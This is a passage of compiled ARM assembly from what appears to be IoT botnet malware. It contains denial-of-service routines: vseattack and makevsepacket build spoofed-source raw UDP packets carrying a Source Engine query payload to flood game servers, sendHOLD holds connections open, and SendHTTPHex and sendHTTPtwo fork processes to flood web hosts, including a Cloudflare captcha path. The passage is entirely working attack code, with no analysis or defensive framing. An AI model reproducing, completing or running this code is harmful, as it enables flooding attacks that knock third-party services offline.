	strb	r2, [r3, #4]
	b	.L250
.L252:
	sub	r3, fp, #144
	str	r3, [fp, #-172]
	mov	r3, #0
	str	r3, [fp, #-208]
	b	.L256
.L257:
	ldr	r3, [fp, #-172]
	ldr	r2, [fp, #-208]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-208]
	add	r3, r3, #1
	str	r3, [fp, #-208]
.L256:
	ldr	r3, [fp, #-208]
	cmp	r3, #31
	bls	.L257
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #12
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-192]
	ldr	r0, [fp, #-204]
	ldr	r3, [r3, r0, lsl #3]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #12
	add	r3, r2, r3
	str	r1, [r3, #-132]
	mov	r3, #0
	str	r3, [fp, #-168]
	ldr	r3, .L269+4
	str	r3, [fp, #-164]
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	add	r0, r3, #1
	sub	r2, fp, #144
	sub	r3, fp, #168
	str	r3, [sp]
	mov	r3, #0
	mov	r1, #0
	bl	select
	str	r0, [fp, #-176]
	ldr	r3, [fp, #-176]
	cmp	r3, #1
	bne	.L258
	mov	r3, #4
	str	r3, [fp, #-220]
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r0, [r3, r2, lsl #3]
	sub	r2, fp, #216
	sub	r3, fp, #220
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #4
	mov	r1, #1
	bl	getsockopt
	ldr	r3, [fp, #-216]
	cmp	r3, #0
	beq	.L259
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L267
.L259:
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #2
	strb	r2, [r3, #4]
	b	.L267
.L258:
	ldr	r3, [fp, #-176]
	cmn	r3, #1
	bne	.L267
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L267
.L249:
	sub	r3, fp, #144
	str	r3, [fp, #-180]
	mov	r3, #0
	str	r3, [fp, #-212]
	b	.L261
.L262:
	ldr	r3, [fp, #-180]
	ldr	r2, [fp, #-212]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-212]
	add	r3, r3, #1
	str	r3, [fp, #-212]
.L261:
	ldr	r3, [fp, #-212]
	cmp	r3, #31
	bls	.L262
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #12
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-192]
	ldr	r0, [fp, #-204]
	ldr	r3, [r3, r0, lsl #3]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #12
	add	r3, r2, r3
	str	r1, [r3, #-132]
	mov	r3, #0
	str	r3, [fp, #-168]
	ldr	r3, .L269+4
	str	r3, [fp, #-164]
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	add	r0, r3, #1
	sub	r2, fp, #144
	sub	r3, fp, #168
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #0
	mov	r1, #0
	bl	select
	str	r0, [fp, #-176]
	ldr	r3, [fp, #-176]
	cmp	r3, #0
	beq	.L268
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L268
.L267:
	nop
	b	.L250
.L268:
	nop
.L250:
	ldr	r3, [fp, #-204]
	add	r3, r3, #1
	str	r3, [fp, #-204]
.L248:
	ldr	r2, [fp, #-204]
	ldr	r3, [fp, #-200]
	cmp	r2, r3
	blt	.L264
.L247:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-184]
	cmp	r3, r2
	bgt	.L265
	mov	sp, r5
.L244:
	ldr	r3, .L269
	ldr	r2, [r3]
	ldr	r3, [fp, #-16]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L266
	bl	__stack_chk_fail
.L266:
	sub	sp, fp, #12
	@ sp needed
	pop	{r4, r5, fp, pc}
.L270:
	.align	2
.L269:
	.word	.LC33
	.word	10000
	.size	sendHOLD, .-sendHOLD
	.section	.rodata
	.align	2
.LC34:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	socket_connect
	.syntax unified
	.arm
	.fpu softvfp
	.type	socket_connect, %function
socket_connect:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #48
	str	r0, [fp, #-40]
	mov	r3, r1
	strh	r3, [fp, #-42]	@ movhi
	ldr	r3, .L278
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #1
	str	r3, [fp, #-36]
	ldr	r0, [fp, #-40]
	bl	gethostbyname
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bne	.L272
	mov	r3, #0
	b	.L276
.L272:
	ldr	r3, [fp, #-32]
	ldr	r3, [r3, #16]
	ldr	r1, [r3]
	ldr	r3, [fp, #-32]
	ldr	r3, [r3, #12]
	mov	r2, r3
	sub	r3, fp, #24
	add	r3, r3, #4
	mov	r0, r3
	bl	memmove
	ldrh	r3, [fp, #-42]
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	mov	r2, #6
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-28]
	sub	r3, fp, #36
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #1
	mov	r1, #6
	ldr	r0, [fp, #-28]
	bl	setsockopt
	ldr	r3, [fp, #-28]
	cmn	r3, #1
	bne	.L274
	mov	r3, #0
	b	.L276
.L274:
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-28]
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L275
	mov	r3, #0
	b	.L276
.L275:
	ldr	r3, [fp, #-28]
.L276:
	ldr	r2, .L278
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L277
	bl	__stack_chk_fail
.L277:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L279:
	.align	2
.L278:
	.word	.LC34
	.size	socket_connect, .-socket_connect
	.section	.rodata
	.align	2
.LC35:
	.ascii	"TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65"
	.ascii	"/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x7"
	.ascii	"9 rfdknjms\000"
	.align	2
.LC36:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	makevsepacket
	.syntax unified
	.arm
	.fpu softvfp
	.type	makevsepacket, %function
makevsepacket:
	@ args = 4, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	str	r2, [fp, #-32]
	strb	r3, [fp, #-33]
	ldr	r3, .L282
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L282+4
	str	r3, [fp, #-12]
	ldr	r2, [fp, #-24]
	ldrb	r3, [r2]
	bic	r3, r3, #10
	orr	r3, r3, #5
	strb	r3, [r2]
	ldr	r2, [fp, #-24]
	ldrb	r3, [r2]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [r2]
	ldr	r3, [fp, #-24]
	mov	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, [fp, #4]
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-16]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r2, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #20
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-24]
	strh	r2, [r3, #2]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-24]
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, [fp, #-24]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-24]
	mvn	r2, #0
	strb	r2, [r3, #8]
	ldr	r3, [fp, #-24]
	ldrb	r2, [fp, #-33]
	strb	r2, [r3, #9]
	ldr	r3, [fp, #-24]
	mov	r2, #0
	strh	r2, [r3, #10]	@ movhi
	ldr	r3, [fp, #-24]
	ldr	r2, [fp, #-32]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-24]
	ldr	r2, [fp, #-28]
	str	r2, [r3, #16]
	nop
	ldr	r3, .L282
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L281
	bl	__stack_chk_fail
.L281:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L283:
	.align	2
.L282:
	.word	.LC36
	.word	.LC35
	.size	makevsepacket, .-makevsepacket
	.section	.rodata
	.align	2
.LC37:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	vseattack
	.syntax unified
	.arm
	.fpu softvfp
	.type	vseattack, %function
vseattack:
	@ args = 16, pretend = 0, frame = 96
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #108
	str	r0, [fp, #-112]
	str	r1, [fp, #-116]
	str	r2, [fp, #-120]
	str	r3, [fp, #-124]
	ldr	r3, .L327
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	ldr	r3, .L327+4
	str	r3, [fp, #-88]
	mov	r3, #2
	strh	r3, [fp, #-48]	@ movhi
	ldr	r3, [fp, #-116]
	cmp	r3, #0
	bne	.L285
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-46]	@ movhi
	b	.L286
.L285:
	ldr	r3, [fp, #-116]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-46]	@ movhi
.L286:
	sub	r3, fp, #48
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-112]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	bne	.L320
	sub	r3, fp, #48
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r7, [fp, #8]
	ldr	r3, [fp, #-124]
	cmp	r3, #32
	bne	.L289
	mov	r2, #17
	mov	r1, #2
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-60]
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	beq	.L321
	ldr	r3, [fp, #4]
	add	r3, r3, #1
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	cmp	r3, #0
	beq	.L322
	ldr	r3, [fp, #4]
	add	r3, r3, #1
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-56]
	bl	memset
	ldr	r1, [fp, #4]
	ldr	r0, [fp, #-56]
	bl	makeRandomStr
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-120]
	add	r3, r3, r2
	str	r3, [fp, #-52]
	mov	r5, #0
	mov	r4, #0
.L298:
	ldr	r2, [fp, #4]
	mov	r3, #16
	str	r3, [sp, #4]
	sub	r3, fp, #48
	str	r3, [sp]
	mov	r3, #0
	ldr	r1, [fp, #-56]
	ldr	r0, [fp, #-60]
	bl	sendto
	cmp	r5, r7
	bne	.L292
	ldr	r3, [fp, #-116]
	cmp	r3, #0
	bne	.L293
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-46]	@ movhi
.L293:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-52]
	cmp	r3, r2
	blt	.L323
	mov	r5, #0
	b	.L296
.L292:
	add	r5, r5, #1
	ldr	r3, [fp, #12]
	cmp	r4, r3
	bne	.L297
	ldr	r2, [fp, #16]
	mov	r3, r2
	lsl	r3, r3, #5
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r0, r3
	bl	usleep
	mov	r4, #0
	b	.L296
.L297:
	add	r4, r4, #1
.L296:
	b	.L298
.L289:
	mov	r2, #17
	mov	r1, #3
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-84]
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	beq	.L324
	mov	r3, #1
	str	r3, [fp, #-100]
	sub	r3, fp, #100
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #3
	mov	r1, #0
	ldr	r0, [fp, #-84]
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	blt	.L325
	mov	r3, #50
	str	r3, [fp, #-96]
	b	.L303
.L304:
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r4, r3
	bl	rand_cmwc
	mov	r3, r0
	eor	r3, r3, r4
	mov	r0, r3
	bl	srand
.L303:
	ldr	r3, [fp, #-96]
	sub	r2, r3, #1
	str	r2, [fp, #-96]
	cmp	r3, #0
	bne	.L304
	ldr	r3, [fp, #-124]
	cmp	r3, #0
	bne	.L305
	mov	r3, #0
	str	r3, [fp, #-92]
	b	.L306
.L305:
	ldr	r3, [fp, #-124]
	rsb	r3, r3, #32
	mov	r2, #1
	lsl	r3, r2, r3
	rsb	r3, r3, #0
	str	r3, [fp, #-92]
.L306:
	ldr	r3, [fp, #4]
	add	r4, r3, #28
	mov	r3, sp
	mov	r8, r3
	mov	r3, r4
	sub	r3, r3, #1
	str	r3, [fp, #-80]
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	add	r3, r4, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #0
	str	r3, [fp, #-76]
	ldr	r3, [fp, #-76]
	str	r3, [fp, #-72]
	ldr	r3, [fp, #-72]
	add	r3, r3, #20
	str	r3, [fp, #-68]
	ldr	r5, [fp, #-44]
	ldr	r0, [fp, #-92]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #4]
	add	r3, r3, #8
	str	r3, [sp]
	mov	r3, #17
	mov	r1, r5
	ldr	r0, [fp, #-72]
	bl	makevsepacket
	ldr	r3, [fp, #4]
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-104]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r2, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #8
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-68]
	strh	r2, [r3, #4]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-68]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-116]
	cmp	r3, #0
	bne	.L307
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	b	.L308
.L307:
	ldr	r3, [fp, #-116]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
.L308:
	ldr	r2, [fp, #-68]
	strh	r3, [r2, #2]	@ movhi
	ldr	r3, [fp, #-68]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-104]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #12
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-68]
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-68]
	add	r3, r3, #8
	ldr	r1, [fp, #4]
	mov	r0, r3
	bl	makeRandomStr
	ldr	r3, [fp, #-72]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-76]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-72]
	strh	r2, [r3, #10]	@ movhi
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-120]
	add	r3, r3, r2
	str	r3, [fp, #-64]
	mov	r5, #0
	mov	r6, #0
.L316:
	ldr	r3, [fp, #-104]
	add	r2, r3, #32
	mov	r1, r4
	mov	r3, #16
	str	r3, [sp, #4]
	sub	r3, fp, #48
	str	r3, [sp]
	mov	r3, r1
	ldr	r1, [fp, #-76]
	ldr	r0, [fp, #-84]
	bl	sendto
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-68]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-116]
	cmp	r3, #0
	bne	.L309
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	b	.L310
.L309:
	ldr	r3, [fp, #-116]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
.L310:
	ldr	r2, [fp, #-68]
	strh	r3, [r2, #2]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-72]
	strh	r2, [r3, #4]	@ movhi
	ldr	r0, [fp, #-92]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #-72]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-72]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-76]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-72]
	strh	r2, [r3, #10]	@ movhi
	cmp	r5, r7
	bne	.L311
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-64]
	cmp	r3, r2
	blt	.L326
	mov	r5, #0
	b	.L314
.L311:
	add	r5, r5, #1
	ldr	r3, [fp, #12]
	cmp	r6, r3
	bne	.L315
	ldr	r2, [fp, #16]
	mov	r3, r2
	lsl	r3, r3, #5
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r0, r3
	bl	usleep
	mov	r6, #0
	b	.L314
.L315:
	add	r6, r6, #1
.L314:
	b	.L316
.L326:
	nop
	mov	sp, r8
	b	.L284
.L320:
	nop
	b	.L284
.L321:
	nop
	b	.L284
.L322:
	nop
	b	.L284
.L323:
	nop
	b	.L284
.L324:
	nop
	b	.L284
.L325:
	nop
.L284:
	ldr	r3, .L327
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L318
	bl	__stack_chk_fail
.L318:
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L328:
	.align	2
.L327:
	.word	.LC37
	.word	.LC35
	.size	vseattack, .-vseattack
	.section	.rodata
	.align	2
.LC38:
	.ascii	"\204\213\207\217\231\217\230\234\217\230\352\204\213"
	.ascii	"\207\217\231\217\230\234\217\230\352\204\213\207\217"
	.ascii	"\231\217\230\234\217\230\352\204\213\207\217\231\217"
	.ascii	"\230\234\217\230\352\204\213\207\217\231\217\230\234"
	.ascii	"\217\230\352\204\213\207\217\231\217\230\234\217\230"
	.ascii	"\352\204\213\207\217\231\217\230\234\217\230\352\204"
	.ascii	"\213\207\217\231\217\230\234\217\230\352\204\213\207"
	.ascii	"\217\231\217\230\234\217\230\352\204\213\207\217\231"
	.ascii	"\217\230\234\217\230\352\204\213\207\217\231\217\230"
	.ascii	"\234\217\230\352\204\213\207\217\231\217\230\234\217"
	.ascii	"\230\352\204\213\207\217\231\217\230\234\217\230\352"
	.ascii	"\204\213\207\217\231\217\230\234\217\230\352\204\213"
	.ascii	"\207\217\231\217\230\234\217\230\352\204\213\207\217"
	.ascii	"\231\217\230\234\217\230\352\204\213\207\217\231\217"
	.ascii	"\230\234\217\230\352\204\213\207\217\231\217\230\234"
	.ascii	"\217\230\352\204\213\207\217\231\217\230\234\217\230"
	.ascii	"\352\204\213\207\217\231\217\230\234\217\230\352\204"
	.ascii	"\213\207\217\231\217\230\234\217\230\352\204\213\207"
	.ascii	"\217\231\217\230\234\217\230\352\204\213\207\217\231"
	.ascii	"\217\230\234\217\230\352\204\213\207\217\231\217\230"
	.ascii	"\234\217\230\352\000"
	.align	2
.LC39:
	.ascii	"%s %s HTTP/1.1\015\012Host: %s\015\012User-Agent: %"
	.ascii	"s\015\012Connection: close\015\012\015\012\000"
	.align	2
.LC40:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	SendHTTPHex
	.syntax unified
	.arm
	.fpu softvfp
	.type	SendHTTPHex, %function
SendHTTPHex:
	@ args = 8, pretend = 0, frame = 2600
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2608
	str	r0, [fp, #-2592]
	str	r1, [fp, #-2596]
	str	r3, [fp, #-2604]
	sub	r3, fp, #4
	sub	r3, r3, #2592
	sub	r3, r3, #2
	strh	r2, [r3]	@ movhi
	ldr	r3, .L336
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #4]
	add	r3, r3, r2
	str	r3, [fp, #-2584]
	mov	r3, #0
	str	r3, [fp, #-2580]
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r1, .L336+4
	mov	r0, r3
	bl	sprintf
	mov	r3, #0
	str	r3, [fp, #-2588]
	b	.L330
.L334:
	bl	rand
	mov	r1, r0
	ldr	r3, .L336+8
	smull	r2, r3, r1, r3
	asr	r2, r3, #3
	asr	r3, r1, #31
	sub	r2, r2, r3
	mov	r3, r2
	lsl	r3, r3, #3
	add	r3, r3, r2
	lsl	r3, r3, #2
	sub	r2, r1, r3
	ldr	r3, .L336+12
	ldr	r2, [r3, r2, lsl #2]
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	sub	r0, fp, #2560
	sub	r0, r0, #4
	sub	r0, r0, #4
	str	r2, [sp, #4]
	ldr	r2, [fp, #-2596]
	str	r2, [sp]
	ldr	r2, [fp, #-2592]
	ldr	r1, .L336+16
	bl	sprintf
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	beq	.L331
	b	.L332
.L333:
	sub	r3, fp, #4
	sub	r3, r3, #2592
	sub	r3, r3, #2
	ldrh	r3, [r3]
	mov	r1, r3
	ldr	r0, [fp, #-2596]
	bl	socket_connect
	str	r0, [fp, #-2576]
	ldr	r3, [fp, #-2576]
	cmp	r3, #0
	beq	.L332
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	write
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r2, #1
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	read
	ldr	r0, [fp, #-2576]
	bl	close
.L332:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-2584]
	cmp	r3, r2
	bgt	.L333
	mov	r0, #0
	bl	exit
.L331:
	ldr	r3, [fp, #-2588]
	add	r3, r3, #1
	str	r3, [fp, #-2588]
.L330:
	ldr	r2, [fp, #-2588]
	ldr	r3, [fp, #8]
	cmp	r2, r3
	blt	.L334
	nop
	ldr	r3, .L336
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L335
	bl	__stack_chk_fail
.L335:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L337:
	.align	2
.L336:
	.word	.LC40
	.word	.LC38
	.word	954437177
	.word	useragents
	.word	.LC39
	.size	SendHTTPHex, .-SendHTTPHex
	.section	.rodata
	.align	2
.LC41:
	.ascii	"%s /cdn-cgi/l/chk_captcha HTTP/1.1\015\012Host: %s\015"
	.ascii	"\012User-Agent: %s\015\012Connection: close\015\012"
	.ascii	"\015\012\000"
	.align	2
.LC42:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendHTTPtwo
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendHTTPtwo, %function
sendHTTPtwo:
	@ args = 8, pretend = 0, frame = 2600
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2608
	str	r0, [fp, #-2592]
	str	r1, [fp, #-2596]
	str	r3, [fp, #-2604]
	sub	r3, fp, #4
	sub	r3, r3, #2592
	sub	r3, r3, #2
	strh	r2, [r3]	@ movhi
	ldr	r3, .L345
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #4]
	add	r3, r3, r2
	str	r3, [fp, #-2584]
	mov	r3, #0
	str	r3, [fp, #-2580]
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r1, .L345+4
	mov	r0, r3
	bl	sprintf
	mov	r3, #0
	str	r3, [fp, #-2588]
	b	.L339
.L343:
	bl	rand
	mov	r1, r0
	ldr	r3, .L345+8
	smull	r2, r3, r1, r3
	asr	r2, r3, #3
	asr	r3, r1, #31
	sub	r2, r2, r3
	mov	r3, r2
	lsl	r3, r3, #3
	add	r3, r3, r2
	lsl	r3, r3, #2
	sub	r2, r1, r3
	ldr	r3, .L345+12
	ldr	r2, [r3, r2, lsl #2]
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	sub	r0, fp, #2560
	sub	r0, r0, #4
	sub	r0, r0, #4
	str	r2, [sp, #4]
	ldr	r2, [fp, #-2596]
	str	r2, [sp]
	ldr	r2, [fp, #-2592]
	ldr	r1, .L345+16
	bl	sprintf
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	beq	.L340
	b	.L341
.L342:
	sub	r3, fp, #4
	sub	r3, r3, #2592
	sub	r3, r3, #2
	ldrh	r3, [r3]
	mov	r1, r3
	ldr	r0, [fp, #-2596]
	bl	socket_connect
	str	r0, [fp, #-2576]
	ldr	r3, [fp, #-2576]
	cmp	r3, #0
	beq	.L341
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	write
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r2, #1
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	read
	ldr	r0, [fp, #-2576]
	bl	close
.L341:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-2584]
	cmp	r3, r2
	bgt	.L342
	mov	r0, #0
	bl	exit
.L340:
	ldr	r3, [fp, #-2588]
	add	r3, r3, #1
	str	r3, [fp, #-2588]
.L339:
	ldr	r2, [fp, #-2588]
	ldr	r3, [fp, #8]
	cmp	r2, r3
	blt	.L343
	nop
	ldr	r3, .L345
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
